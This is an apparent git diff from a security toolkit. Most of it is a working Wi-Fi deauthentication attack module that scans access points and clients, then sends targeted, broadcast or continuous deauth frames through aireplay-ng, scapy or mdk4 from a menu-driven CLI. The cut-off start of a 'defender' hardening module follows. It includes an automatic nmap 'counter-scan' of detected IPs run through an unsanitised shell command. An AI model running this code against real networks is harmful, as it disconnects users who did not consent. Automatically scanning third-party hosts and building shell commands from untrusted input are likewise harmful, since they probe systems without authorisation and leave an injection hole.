subprocess.Popen( + [self.airodump, '--write', tmp_prefix, + '--output-format', 'csv', '--write-interval', '1', + interface], + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL + ) + time.sleep(min(duration, 120)) + proc.terminate() + try: + proc.wait(timeout=5) + except subprocess.TimeoutExpired: + proc.kill() + + # Parse CSV + csv_path = f'{tmp_prefix}-01.csv' + if os.path.isfile(csv_path): + networks = self._parse_airodump_csv(csv_path) + # Clean up temp files + for f in Path(self.data_dir).glob( + f'scan_{os.path.basename(tmp_prefix).replace("scan_", "")}*' + ): + try: + f.unlink() + except Exception: + pass + except Exception: + pass + + # Method 2: scapy fallback + if not networks and self._scapy: + networks = self._scan_scapy(interface, duration) + + return networks + + def _parse_airodump_csv(self, csv_path: str) -> List[Dict]: + """Parse airodump-ng CSV output into network list.""" + networks = [] + clients_map: Dict[str, int] = {} + section = 'ap' + + try: + with open(csv_path, 'r', errors='ignore') as f: + for line in f: + line = line.strip() + if not line: + continue + if line.startswith('Station MAC'): + section = 'client' + continue + if line.startswith('BSSID') or line.startswith('\x00'): + continue + + parts = [p.strip() for p in line.split(',')] + + if section == 'ap' and len(parts) >= 14: + bssid = parts[0] + if not _validate_mac(bssid): + continue + channel = 0 + try: + channel = int(parts[3]) + except (ValueError, IndexError): + pass + signal = -100 + try: + signal = int(parts[8]) + except (ValueError, IndexError): + pass + encryption = parts[5] if len(parts) > 5 else '' + ssid = parts[13] if len(parts) > 13 else '' + networks.append({ + 'bssid': bssid, + 'ssid': ssid, + 'channel': channel, + 'encryption': encryption, + 'signal': signal, + 'clients_count': 0 + }) + + elif section == 'client' and len(parts) >= 6: + client_mac = parts[0] + ap_bssid = parts[5] if len(parts) > 5 else '' + if _validate_mac(ap_bssid): + clients_map[ap_bssid] = clients_map.get(ap_bssid, 0) + 1 + + # Merge client counts + for net in networks: + net['clients_count'] = clients_map.get(net['bssid'], 0) + + except Exception: + pass + + return networks + + def _scan_scapy(self, interface: str, duration: int) -> List[Dict]: + """Scan using scapy beacon sniffing.""" + networks = {} + try: + from scapy.all import Dot11, Dot11Beacon, Dot11Elt, sniff + + def handler(pkt): + if pkt.haslayer(Dot11Beacon): + bssid = pkt[Dot11].addr2 + if not bssid or bssid in networks: + return + ssid = '' + channel = 0 + enc = 'OPEN' + elt = pkt[Dot11Elt] + while elt: + if elt.ID == 0: # SSID + try: + ssid = elt.info.decode('utf-8', errors='replace') + except Exception: + ssid = '' + elif elt.ID == 3: # DS Parameter Set (channel) + try: + channel = int(elt.info[0]) + except Exception: + pass + elt = elt.payload.getlayer(Dot11Elt) + + cap = pkt.sprintf('{Dot11Beacon:%Dot11Beacon.cap%}') + if 'privacy' in cap: + enc = 'WPA/WPA2' + + try: + sig = -(256 - ord(pkt.notdecoded[-4:-3])) + except Exception: + sig = -100 + + networks[bssid] = { + 'bssid': bssid, + 'ssid': ssid, + 'channel': channel, + 'encryption': enc, + 'signal': sig, + 'clients_count': 0 + } + + sniff(iface=interface, prn=handler, timeout=duration, store=False) + except Exception: + pass + + return list(networks.values()) + + def scan_clients(self, interface: str, target_bssid: Optional[str] = None, + duration: int = 10) -> List[Dict]: + """Discover client-AP associations. + + Returns list of dicts: client_mac, ap_bssid, ap_ssid, signal, packets. + """ + if not interface: + return [] + + clients = [] + + # Method 1: airodump-ng with optional BSSID filter + if self.airodump: + tmp_prefix = os.path.join(self.data_dir, f'clients_{int(time.time())}') + cmd = [ + self.airodump, '--write', tmp_prefix, + '--output-format', 'csv', '--write-interval', '1' + ] + if target_bssid and _validate_mac(target_bssid): + cmd += ['--bssid', target_bssid] + cmd.append(interface) + + try: + proc = subprocess.Popen( + cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL + ) + time.sleep(min(duration, 120)) + proc.terminate() + try: + proc.wait(timeout=5) + except subprocess.TimeoutExpired: + proc.kill() + + csv_path = f'{tmp_prefix}-01.csv' + if os.path.isfile(csv_path): + clients = self._parse_clients_csv(csv_path, target_bssid) + for f in Path(self.data_dir).glob( + f'clients_{os.path.basename(tmp_prefix).replace("clients_", "")}*' + ): + try: + f.unlink() + except Exception: + pass + except Exception: + pass + + # Method 2: scapy fallback + if not clients and self._scapy: + clients = self._scan_clients_scapy(interface, target_bssid, duration) + + return clients + + def _parse_clients_csv(self, csv_path: str, + target_bssid: Optional[str] = None) -> List[Dict]: + """Parse airodump CSV for client associations.""" + clients = [] + ap_names: Dict[str, str] = {} + section = 'ap' + + try: + with open(csv_path, 'r', errors='ignore') as f: + for line in f: + line = line.strip() + if not line: + continue + if line.startswith('Station MAC'): + section = 'client' + continue + if line.startswith('BSSID'): + continue + + parts = [p.strip() for p in line.split(',')] + + if section == 'ap' and len(parts) >= 14: + bssid = parts[0] + ssid = parts[13] if len(parts) > 13 else '' + if _validate_mac(bssid): + ap_names[bssid] = ssid + + elif section == 'client' and len(parts) >= 6: + client_mac = parts[0] + if not _validate_mac(client_mac): + continue + ap_bssid = parts[5] if len(parts) > 5 else '' + if not _validate_mac(ap_bssid): + continue + if target_bssid and ap_bssid.upper() != target_bssid.upper(): + continue + + signal = -100 + try: + signal = int(parts[3]) + except (ValueError, IndexError): + pass + packets = 0 + try: + packets = int(parts[4]) + except (ValueError, IndexError): + pass + + clients.append({ + 'client_mac': client_mac, + 'ap_bssid': ap_bssid, + 'ap_ssid': ap_names.get(ap_bssid, ''), + 'signal': signal, + 'packets': packets + }) + except Exception: + pass + + return clients + + def _scan_clients_scapy(self, interface: str, + target_bssid: Optional[str], + duration: int) -> List[Dict]: + """Discover clients using scapy.""" + seen: Dict[str, Dict] = {} + try: + from scapy.all import Dot11, sniff + + def handler(pkt): + if not pkt.haslayer(Dot11): + return + d11 = pkt[Dot11] + # Data or management frames — addr1=dest, addr2=src, addr3=bssid + src = d11.addr2 + dst = d11.addr1 + bssid = d11.addr3 + if not src or not bssid: + return + if src == bssid or src == BROADCAST.lower(): + return + if target_bssid and bssid.upper() != target_bssid.upper(): + return + key = f'{src}_{bssid}' + if key not in seen: + seen[key] = { + 'client_mac': src, + 'ap_bssid': bssid, + 'ap_ssid': '', + 'signal': -100, + 'packets': 0 + } + seen[key]['packets'] += 1 + + sniff(iface=interface, prn=handler, timeout=duration, store=False) + except Exception: + pass + + return list(seen.values()) + + # ── Deauthentication Attacks ───────────────────────────────────────── + + def deauth_targeted(self, interface: str, target_bssid: str, + client_mac: str, count: int = 10, + interval: float = 0.1) -> Dict: + """Send deauth frames to a specific client on a specific AP. + + Uses aireplay-ng or scapy Dot11Deauth as fallback. + Returns stats dict. + """ + if not _validate_mac(target_bssid): + return {'ok': False, 'error': 'Invalid target BSSID'} + if not _validate_mac(client_mac): + return {'ok': False, 'error': 'Invalid client MAC'} + count = max(1, min(count, 99999)) + + start_ts = time.time() + frames_sent = 0 + + # Method 1: aireplay-ng + if self.aireplay: + try: + result = subprocess.run( + [self.aireplay, '-0', str(count), + '-a', target_bssid, '-c', client_mac, interface], + capture_output=True, text=True, + timeout=max(30, count * interval * 2 + 10) + ) + output = result.stdout + result.stderr + sent_match = re.search(r'(\d+)\s+(?:ACKs|packets)', output) + if sent_match: + frames_sent = int(sent_match.group(1)) + else: + frames_sent = count + except subprocess.TimeoutExpired: + frames_sent = count + except Exception as e: + return {'ok': False, 'error': f'aireplay-ng failed: {e}'} + + # Method 2: scapy + elif self._scapy: + frames_sent = self._deauth_scapy( + interface, target_bssid, client_mac, count, interval + ) + + # Method 3: mdk4 / mdk3 + elif self.mdk4 or self.mdk3: + tool = self.mdk4 or self.mdk3 + frames_sent = self._deauth_mdk( + tool, interface, target_bssid, client_mac, count + ) + else: + return {'ok': False, 'error': 'No deauth tool available (need aireplay-ng, scapy, or mdk3/mdk4)'} + + elapsed = round(time.time() - start_ts, 2) + record = { + 'timestamp': datetime.now().isoformat(), + 'target_bssid': target_bssid, + 'client_mac': client_mac, + 'mode': 'targeted', + 'count': count, + 'frames_sent': frames_sent, + 'duration': elapsed, + 'interface': interface + } + self._add_history(record) + + return { + 'ok': True, + 'mode': 'targeted', + 'target_bssid': target_bssid, + 'client_mac': client_mac, + 'frames_sent': frames_sent, + 'duration': elapsed + } + + def deauth_broadcast(self, interface: str, target_bssid: str, + count: int = 10, interval: float = 0.1) -> Dict: + """Broadcast deauth to all clients on an AP.""" + return self.deauth_targeted( + interface, target_bssid, BROADCAST, count, interval + ) + + def deauth_multi(self, interface: str, targets: List[Dict], + count: int = 10, interval: float = 0.1) -> Dict: + """Deauth multiple AP/client pairs. + + targets: list of {bssid, client_mac} + """ + if not targets: + return {'ok': False, 'error': 'No targets specified'} + + results = [] + total_frames = 0 + + for t in targets: + bssid = t.get('bssid', '') + client = t.get('client_mac', BROADCAST) + if not client: + client = BROADCAST + r = self.deauth_targeted(interface, bssid, client, count, interval) + results.append(r) + if r.get('ok'): + total_frames += r.get('frames_sent', 0) + + return { + 'ok': True, + 'mode': 'multi', + 'targets_count': len(targets), + 'total_frames': total_frames, + 'results': results + } + + def _deauth_scapy(self, interface: str, bssid: str, client: str, + count: int, interval: float) -> int: + """Send deauth using scapy.""" + frames_sent = 0 + try: + from scapy.all import Dot11, Dot11Deauth, RadioTap, sendp + + # Deauth from AP to client + pkt_ap = (RadioTap() / + Dot11(addr1=client, addr2=bssid, addr3=bssid) / + Dot11Deauth(reason=7)) + # Deauth from client to AP + pkt_cl = (RadioTap() / + Dot11(addr1=bssid, addr2=client, addr3=bssid) / + Dot11Deauth(reason=7)) + + for _ in range(count): + sendp(pkt_ap, iface=interface, count=1, verbose=False) + sendp(pkt_cl, iface=interface, count=1, verbose=False) + frames_sent += 2 + if interval > 0: + time.sleep(interval) + + except Exception: + pass + return frames_sent + + def _deauth_mdk(self, tool: str, interface: str, bssid: str, + client: str, count: int) -> int: + """Send deauth using mdk3/mdk4.""" + # Create a target file for mdk + target_file = os.path.join(self.data_dir, 'mdk_targets.txt') + try: + with open(target_file, 'w') as f: + f.write(f'{bssid}\n') + + result = subprocess.run( + [tool, interface, 'd', '-b', target_file, '-c', str(count)], + capture_output=True, text=True, timeout=max(30, count + 10) + ) + return count # mdk does not reliably report frame count + except Exception: + return 0 + finally: + try: + os.unlink(target_file) + except Exception: + pass + + # ── Continuous Mode ────────────────────────────────────────────────── + + def start_continuous(self, interface: str, target_bssid: str, + client_mac: Optional[str] = None, + interval: float = 0.5, + burst: int = 5) -> Dict: + """Start continuous deauth in a background thread. + + Sends `burst` deauth frames every `interval` seconds. + """ + if self._continuous_running: + return {'ok': False, 'error': 'Continuous attack already running'} + if not _validate_mac(target_bssid): + return {'ok': False, 'error': 'Invalid target BSSID'} + if client_mac and not _validate_mac(client_mac): + return {'ok': False, 'error': 'Invalid client MAC'} + + client = client_mac or BROADCAST + interval = max(0.05, min(interval, 60.0)) + burst = max(1, min(burst, 1000)) + + self._continuous_running = True + self._continuous_frames_sent = 0 + self._continuous_start_time = time.time() + self._continuous_target = { + 'interface': interface, + 'target_bssid': target_bssid, + 'client_mac': client, + 'interval': interval, + 'burst': burst + } + + def _worker(): + while self._continuous_running: + r = self.deauth_targeted( + interface, target_bssid, client, burst, 0 + ) + if r.get('ok'): + self._continuous_frames_sent += r.get('frames_sent', 0) + time.sleep(interval) + + self._continuous_thread = threading.Thread( + target=_worker, daemon=True, name='deauth-continuous' + ) + self._continuous_thread.start() + + return { + 'ok': True, + 'message': f'Continuous deauth started against {target_bssid}', + 'mode': 'broadcast' if client == BROADCAST else 'targeted' + } + + def stop_continuous(self) -> Dict: + """Stop continuous deauth attack.""" + if not self._continuous_running: + return {'ok': False, 'error': 'No continuous attack running'} + + self._continuous_running = False + if self._continuous_thread: + self._continuous_thread.join(timeout=5) + self._continuous_thread = None + + elapsed = round(time.time() - self._continuous_start_time, 2) + frames = self._continuous_frames_sent + + record = { + 'timestamp': datetime.now().isoformat(), + 'target_bssid': self._continuous_target.get('target_bssid', ''), + 'client_mac': self._continuous_target.get('client_mac', ''), + 'mode': 'continuous', + 'count': frames, + 'frames_sent': frames, + 'duration': elapsed, + 'interface': self._continuous_target.get('interface', '') + } + self._add_history(record) + + return { + 'ok': True, + 'message': 'Continuous attack stopped', + 'frames_sent': frames, + 'duration': elapsed + } + + def is_attacking(self) -> bool: + """Check if continuous attack is running.""" + return self._continuous_running + + def get_attack_status(self) -> Dict: + """Return current attack state.""" + if not self._continuous_running: + return { + 'running': False, + 'target_bssid': '', + 'client_mac': '', + 'frames_sent': 0, + 'duration': 0, + 'mode': 'idle' + } + + elapsed = round(time.time() - self._continuous_start_time, 2) + client = self._continuous_target.get('client_mac', BROADCAST) + mode = 'broadcast' if client == BROADCAST else 'targeted' + + return { + 'running': True, + 'target_bssid': self._continuous_target.get('target_bssid', ''), + 'client_mac': client, + 'frames_sent': self._continuous_frames_sent, + 'duration': elapsed, + 'mode': mode, + 'interval': self._continuous_target.get('interval', 0), + 'burst': self._continuous_target.get('burst', 0) + } + + # ── Channel Control ────────────────────────────────────────────────── + + def set_channel(self, interface: str, channel: int) -> Dict: + """Set interface to a specific wireless channel.""" + channel = max(1, min(channel, 196)) + + if self.iw: + ok, out = _run([self.iw, 'dev', interface, 'set', 'channel', str(channel)]) + if ok: + self._current_channel = channel + return {'ok': True, 'channel': channel, 'message': f'Set channel {channel}'} + return {'ok': False, 'error': out or f'Failed to set channel {channel}'} + + if self.iwconfig: + ok, out = _run([self.iwconfig, interface, 'channel', str(channel)]) + if ok: + self._current_channel = channel + return {'ok': True, 'channel': channel, 'message': f'Set channel {channel}'} + return {'ok': False, 'error': out or f'Failed to set channel {channel}'} + + return {'ok': False, 'error': 'No tool available (need iw or iwconfig)'} + + def channel_hop(self, interface: str, channels: Optional[List[int]] = None, + dwell: float = 0.5) -> Dict: + """Start channel hopping in a background thread. + + Default channels: 1-14 (2.4 GHz). + """ + if self._hop_running: + return {'ok': False, 'error': 'Channel hopping already active'} + if not interface: + return {'ok': False, 'error': 'No interface specified'} + + if not channels: + channels = list(range(1, 15)) + dwell = max(0.1, min(dwell, 30.0)) + + self._hop_running = True + + def _hop_worker(): + idx = 0 + while self._hop_running: + ch = channels[idx % len(channels)] + self.set_channel(interface, ch) + idx += 1 + time.sleep(dwell) + + self._hop_thread = threading.Thread( + target=_hop_worker, daemon=True, name='deauth-channel-hop' + ) + self._hop_thread.start() + + return { + 'ok': True, + 'message': f'Channel hopping started on {interface}', + 'channels': channels, + 'dwell': dwell + } + + def stop_channel_hop(self) -> Dict: + """Stop channel hopping.""" + if not self._hop_running: + return {'ok': False, 'error': 'Channel hopping not active'} + + self._hop_running = False + if self._hop_thread: + self._hop_thread.join(timeout=5) + self._hop_thread = None + + return {'ok': True, 'message': 'Channel hopping stopped'} + + # ── History ────────────────────────────────────────────────────────── + + def get_attack_history(self) -> List[Dict]: + """Return past attacks with timestamps and stats.""" + return list(self._history) + + def clear_history(self) -> Dict: + """Clear attack history.""" + self._history = [] + self._save_history() + return {'ok': True, 'message': 'History cleared'} + + def _add_history(self, record: Dict): + """Append an attack record and persist.""" + self._history.append(record) + # Keep last 500 entries + if len(self._history) > 500: + self._history = self._history[-500:] + self._save_history() + + def _load_history(self): + """Load history from disk.""" + try: + if os.path.isfile(self.history_path): + with open(self.history_path, 'r') as f: + self._history = json.load(f) + except Exception: + self._history = [] + + def _save_history(self): + """Persist history to disk.""" + try: + with open(self.history_path, 'w') as f: + json.dump(self._history, f, indent=2) + except Exception: + pass + + # ── CLI Runner ─────────────────────────────────────────────────────── + + def print_status(self, message: str, status: str = "info"): + colors = { + "info": Colors.CYAN, "success": Colors.GREEN, + "warning": Colors.YELLOW, "error": Colors.RED + } + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}" + f"[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + +def run(): + """CLI entry point for the deauth module.""" + clear_screen() + display_banner() + deauth = get_deauth() + + # Show tool status + tools = deauth.get_tools_status() + available = [k for k, v in tools.items() if v] + missing = [k for k, v in tools.items() if not v] + deauth.print_status(f"Available tools: {', '.join(available) if available else 'none'}", "info") + if missing: + deauth.print_status(f"Missing tools: {', '.join(missing)}", "warning") + print() + + selected_iface = None + selected_bssid = None + selected_client = None + + while True: + print(f"\n{Colors.BOLD}{Colors.RED}=== Deauth Attack ==={Colors.RESET}") + print(f" Interface: {Colors.CYAN}{selected_iface or 'none'}{Colors.RESET}") + print(f" Target AP: {Colors.CYAN}{selected_bssid or 'none'}{Colors.RESET}") + print(f" Client: {Colors.CYAN}{selected_client or 'broadcast'}{Colors.RESET}") + if deauth.is_attacking(): + status = deauth.get_attack_status() + print(f" {Colors.RED}[ATTACKING]{Colors.RESET} " + f"{status['frames_sent']} frames / {status['duration']}s") + print() + print(f" {Colors.GREEN}1{Colors.RESET} - Select Interface") + print(f" {Colors.GREEN}2{Colors.RESET} - Scan Networks") + print(f" {Colors.GREEN}3{Colors.RESET} - Scan Clients") + print(f" {Colors.GREEN}4{Colors.RESET} - Targeted Deauth") + print(f" {Colors.GREEN}5{Colors.RESET} - Broadcast Deauth") + print(f" {Colors.GREEN}6{Colors.RESET} - Continuous Mode") + print(f" {Colors.GREEN}7{Colors.RESET} - Stop Attack") + print(f" {Colors.GREEN}8{Colors.RESET} - Set Channel") + print(f" {Colors.GREEN}0{Colors.RESET} - Back") + print() + + choice = input(f"{Colors.BOLD}Choice > {Colors.RESET}").strip() + + if choice == '0': + if deauth.is_attacking(): + deauth.stop_continuous() + deauth.print_status("Stopped continuous attack", "warning") + break + + elif choice == '1': + ifaces = deauth.get_interfaces() + if not ifaces: + deauth.print_status("No wireless interfaces found", "error") + continue + print(f"\n{'#':<4} {'Interface':<15} {'Mode':<12} {'Channel':<8} {'MAC'}") + for i, ifc in enumerate(ifaces): + print(f"{i+1:<4} {ifc['name']:<15} {ifc['mode']:<12} " + f"{ifc['channel']:<8} {ifc['mac']}") + sel = input(f"\nSelect interface (1-{len(ifaces)}): ").strip() + try: + idx = int(sel) - 1 + if 0 <= idx < len(ifaces): + selected_iface = ifaces[idx]['name'] + deauth.print_status(f"Selected: {selected_iface}", "success") + if ifaces[idx]['mode'] != 'monitor': + en = input("Enable monitor mode? (y/n): ").strip().lower() + if en == 'y': + r = deauth.enable_monitor(selected_iface) + if r['ok']: + selected_iface = r['interface'] + deauth.print_status(r['message'], "success") + else: + deauth.print_status(r['error'], "error") + except ValueError: + pass + + elif choice == '2': + if not selected_iface: + deauth.print_status("Select an interface first", "warning") + continue + dur = input("Scan duration (seconds) [10]: ").strip() + dur = int(dur) if dur.isdigit() else 10 + deauth.print_status(f"Scanning for {dur}s on {selected_iface}...", "info") + nets = deauth.scan_networks(selected_iface, dur) + if not nets: + deauth.print_status("No networks found", "warning") + continue + print(f"\n{'#':<4} {'BSSID':<20} {'SSID':<25} {'CH':<5} " + f"{'Enc':<12} {'Sig':<6} {'Clients'}") + for i, n in enumerate(nets): + print(f"{i+1:<4} {n['bssid']:<20} {n['ssid']:<25} " + f"{n['channel']:<5} {n['encryption']:<12} " + f"{n['signal']:<6} {n['clients_count']}") + sel = input(f"\nSelect target AP (1-{len(nets)}, Enter to skip): ").strip() + try: + idx = int(sel) - 1 + if 0 <= idx < len(nets): + selected_bssid = nets[idx]['bssid'] + deauth.print_status( + f"Target: {nets[idx]['ssid']} ({selected_bssid})", "success" + ) + except ValueError: + pass + + elif choice == '3': + if not selected_iface: + deauth.print_status("Select an interface first", "warning") + continue + dur = input("Scan duration (seconds) [10]: ").strip() + dur = int(dur) if dur.isdigit() else 10 + deauth.print_status( + f"Scanning clients{' on ' + selected_bssid if selected_bssid else ''}...", + "info" + ) + clients = deauth.scan_clients(selected_iface, selected_bssid, dur) + if not clients: + deauth.print_status("No clients found", "warning") + continue + print(f"\n{'#':<4} {'Client MAC':<20} {'AP BSSID':<20} " + f"{'Signal':<8} {'Packets'}") + for i, c in enumerate(clients): + print(f"{i+1:<4} {c['client_mac']:<20} {c['ap_bssid']:<20} " + f"{c['signal']:<8} {c['packets']}") + sel = input(f"\nSelect client (1-{len(clients)}, Enter for broadcast): ").strip() + try: + idx = int(sel) - 1 + if 0 <= idx < len(clients): + selected_client = clients[idx]['client_mac'] + if not selected_bssid: + selected_bssid = clients[idx]['ap_bssid'] + deauth.print_status(f"Client: {selected_client}", "success") + except ValueError: + selected_client = None + + elif choice == '4': + if not selected_iface or not selected_bssid: + deauth.print_status("Select interface and target AP first", "warning") + continue + client = selected_client or input("Client MAC (Enter for broadcast): ").strip() + if not client: + client = BROADCAST + cnt = input("Frame count [10]: ").strip() + cnt = int(cnt) if cnt.isdigit() else 10 + deauth.print_status(f"Sending {cnt} deauth frames...", "info") + r = deauth.deauth_targeted(selected_iface, selected_bssid, client, cnt) + if r['ok']: + deauth.print_status( + f"Sent {r['frames_sent']} frames in {r['duration']}s", "success" + ) + else: + deauth.print_status(r['error'], "error") + + elif choice == '5': + if not selected_iface or not selected_bssid: + deauth.print_status("Select interface and target AP first", "warning") + continue + cnt = input("Frame count [10]: ").strip() + cnt = int(cnt) if cnt.isdigit() else 10 + deauth.print_status(f"Broadcasting {cnt} deauth frames...", "info") + r = deauth.deauth_broadcast(selected_iface, selected_bssid, cnt) + if r['ok']: + deauth.print_status( + f"Sent {r['frames_sent']} frames in {r['duration']}s", "success" + ) + else: + deauth.print_status(r['error'], "error") + + elif choice == '6': + if not selected_iface or not selected_bssid: + deauth.print_status("Select interface and target AP first", "warning") + continue + client = selected_client or BROADCAST + intv = input("Interval between bursts (seconds) [0.5]: ").strip() + intv = float(intv) if intv else 0.5 + bst = input("Burst size [5]: ").strip() + bst = int(bst) if bst.isdigit() else 5 + r = deauth.start_continuous( + selected_iface, selected_bssid, client, intv, bst + ) + if r['ok']: + deauth.print_status(r['message'], "success") + else: + deauth.print_status(r['error'], "error") + + elif choice == '7': + r = deauth.stop_continuous() + if r['ok']: + deauth.print_status( + f"Stopped. {r['frames_sent']} frames in {r['duration']}s", + "success" + ) + else: + deauth.print_status(r.get('error', 'No attack running'), "warning") + + elif choice == '8': + if not selected_iface: + deauth.print_status("Select an interface first", "warning") + continue + ch = input("Channel (1-196): ").strip() + try: + ch = int(ch) + r = deauth.set_channel(selected_iface, ch) + if r['ok']: + deauth.print_status(r['message'], "success") + else: + deauth.print_status(r['error'], "error") + except ValueError: + deauth.print_status("Invalid channel number", "error") + + else: + deauth.print_status("Invalid choice", "warning") diff --git a/modules/defender.py b/modules/defender.py new file mode 100644 index 0000000..5969d97 --- /dev/null +++ b/modules/defender.py @@ -0,0 +1,1061 @@ +""" +AUTARCH Defender Module +System hardening and security posture assessment + +Checks system configuration for security best practices. +""" + +import os +import sys +import subprocess +import socket +import re +import time +import json +import threading +from pathlib import Path +from datetime import datetime + +# Module metadata +DESCRIPTION = "System hardening & security checks" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "defense" + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner + + +class Defender: + """System security checker.""" + + def __init__(self): + self.results = [] + + def print_status(self, message: str, status: str = "info"): + colors = {"info": Colors.CYAN, "success": Colors.GREEN, "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def check(self, name: str, passed: bool, details: str = ""): + """Record a check result.""" + self.results.append({"name": name, "passed": passed, "details": details}) + status = "success" if passed else "warning" + self.print_status(f"{name}: {'PASS' if passed else 'FAIL'}", status) + if details and not passed: + print(f" {Colors.DIM}{details}{Colors.RESET}") + + def run_cmd(self, cmd: str) -> tuple: + """Run command and return (success, output).""" + try: + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10) + return result.returncode == 0, result.stdout.strip() + except: + return False, "" + + def check_firewall(self): + """Check if firewall is enabled.""" + # Check iptables + success, output = self.run_cmd("iptables -L -n 2>/dev/null | head -20") + if success and "Chain" in output: + rules = output.count("\n") + self.check("Firewall (iptables)", rules > 5, f"Found {rules} rules") + return + + # Check ufw + success, output = self.run_cmd("ufw status 2>/dev/null") + if success and "active" in output.lower(): + self.check("Firewall (ufw)", True) + return + + # Check firewalld + success, output = self.run_cmd("firewall-cmd --state 2>/dev/null") + if success and "running" in output.lower(): + self.check("Firewall (firewalld)", True) + return + + self.check("Firewall", False, "No active firewall detected") + + def check_ssh_config(self): + """Check SSH hardening.""" + ssh_config = Path("/etc/ssh/sshd_config") + if not ssh_config.exists(): + self.check("SSH Config", True, "SSH not installed") + return + + content = ssh_config.read_text() + + # Check root login + if "PermitRootLogin no" in content or "PermitRootLogin prohibit-password" in content: + self.check("SSH Root Login Disabled", True) + else: + self.check("SSH Root Login Disabled", False, "Root login may be enabled") + + # Check password auth + if "PasswordAuthentication no" in content: + self.check("SSH Password Auth Disabled", True) + else: + self.check("SSH Password Auth Disabled", False, "Consider using key-based auth only") + + def check_open_ports(self): + """Check for listening ports.""" + success, output = self.run_cmd("ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null") + if success: + lines = [l for l in output.split('\n') if 'LISTEN' in l] + high_risk = [] + for line in lines: + if ':23 ' in line: # Telnet + high_risk.append("23 (Telnet)") + if ':21 ' in line: # FTP + high_risk.append("21 (FTP)") + if ':3389 ' in line: # RDP + high_risk.append("3389 (RDP)") + + if high_risk: + self.check("High-Risk Ports", False, f"Open: {', '.join(high_risk)}") + else: + self.check("High-Risk Ports", True, f"{len(lines)} services listening") + + def check_updates(self): + """Check for available updates.""" + # Debian/Ubuntu + success, output = self.run_cmd("apt list --upgradable 2>/dev/null | wc -l") + if success: + count = int(output) - 1 if output.isdigit() else 0 + self.check("System Updates", count < 10, f"{count} packages need updating") + return + + # RHEL/CentOS + success, output = self.run_cmd("yum check-update 2>/dev/null | wc -l") + if success: + self.check("System Updates", int(output) < 10 if output.isdigit() else True) + return + + self.check("System Updates", True, "Could not check updates") + + def check_users(self): + """Check user security.""" + # Users with UID 0 + success, output = self.run_cmd("awk -F: '$3 == 0 {print $1}' /etc/passwd") + if success: + uid0_users = [u for u in output.split('\n') if u] + self.check("Root UID Users", len(uid0_users) == 1, f"UID 0 users: {', '.join(uid0_users)}") + + # Empty passwords + success, output = self.run_cmd("awk -F: '($2 == \"\" || $2 == \"!\") {print $1}' /etc/shadow 2>/dev/null") + if success: + empty = [u for u in output.split('\n') if u and u not in ['*', '!']] + self.check("Empty Passwords", len(empty) == 0, f"Users with empty passwords: {', '.join(empty)}" if empty else "") + + def check_permissions(self): + """Check critical file permissions.""" + checks = [ + ("/etc/passwd", "644"), + ("/etc/shadow", "600"), + ("/etc/ssh/sshd_config", "600"), + ] + + for filepath, expected in checks: + p = Path(filepath) + if p.exists(): + mode = oct(p.stat().st_mode)[-3:] + passed = int(mode) <= int(expected) + self.check(f"Permissions {filepath}", passed, f"Mode: {mode} (expected: {expected})") + + def check_services(self): + """Check for unnecessary services.""" + dangerous = ["telnet", "rsh", "rlogin", "tftp"] + running = [] + + for svc in dangerous: + success, _ = self.run_cmd(f"systemctl is-active {svc} 2>/dev/null") + if success: + running.append(svc) + success, _ = self.run_cmd(f"pgrep -x {svc} 2>/dev/null") + if success: + running.append(svc) + + self.check("Dangerous Services", len(running) == 0, f"Running: {', '.join(running)}" if running else "") + + def check_fail2ban(self): + """Check if fail2ban is installed and running.""" + success, output = self.run_cmd("systemctl is-active fail2ban 2>/dev/null") + if success and "active" in output: + self.check("Fail2Ban", True, "Running") + else: + success, _ = self.run_cmd("which fail2ban-client 2>/dev/null") + if success: + self.check("Fail2Ban", False, "Installed but not running") + else: + self.check("Fail2Ban", False, "Not installed") + + def check_selinux(self): + """Check SELinux/AppArmor status.""" + success, output = self.run_cmd("getenforce 2>/dev/null") + if success: + enforcing = output.strip().lower() == "enforcing" + self.check("SELinux", enforcing, f"Status: {output.strip()}") + return + + success, output = self.run_cmd("aa-status 2>/dev/null | head -1") + if success and "apparmor" in output.lower(): + self.check("AppArmor", True, "Active") + return + + self.check("MAC (SELinux/AppArmor)", False, "No mandatory access control") + + # ==================== SCAN MONITOR ==================== + + def scan_monitor(self): + """Setup and launch the scan monitor.""" + print(f"\n{Colors.BOLD}Scan Monitor Setup{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + # Check tcpdump + from core.paths import find_tool + if not find_tool('tcpdump'): + self.print_status("tcpdump is not installed", "error") + return + + counter_input = input(f"{Colors.WHITE}Enable counter-scan on detected attackers? (y/n) [{Colors.GREEN}y{Colors.WHITE}]: {Colors.RESET}").strip().lower() + counter_scan = counter_input != 'n' + + whitelist_input = input(f"{Colors.WHITE}Whitelist IPs (comma-separated, or blank): {Colors.RESET}").strip() + whitelist = [ip.strip() for ip in whitelist_input.split(',') if ip.strip()] if whitelist_input else [] + + # Ensure results dir exists + os.makedirs("results", exist_ok=True) + + self._monitor_with_tcpdump(counter_scan, whitelist) + + def _counter_scan(self, ip: str, log_file: str): + """Counter-scan a detected attacker IP.""" + try: + print(f" {Colors.CYAN}[*] Counter-scanning {ip}...{Colors.RESET}") + result = subprocess.run( + f"nmap --top-ports 100 -T4 -sV {ip}", + shell=True, capture_output=True, text=True, timeout=120 + ) + output = result.stdout + + # Parse open ports + open_ports = [] + for line in output.split('\n'): + if 'open' in line.lower() and ('tcp' in line.lower() or 'udp' in line.lower() or '/' in line): + port = line.split('/')[0].strip() + open_ports.append(port) + + if open_ports: + ports_str = ','.join(open_ports) + print(f" {Colors.GREEN}[+] Counter-scan {ip}: {len(open_ports)} open ports ({ports_str}){Colors.RESET}") + else: + print(f" {Colors.YELLOW}[+] Counter-scan {ip}: no open ports found{Colors.RESET}") + + # Append to log + with open(log_file, 'a') 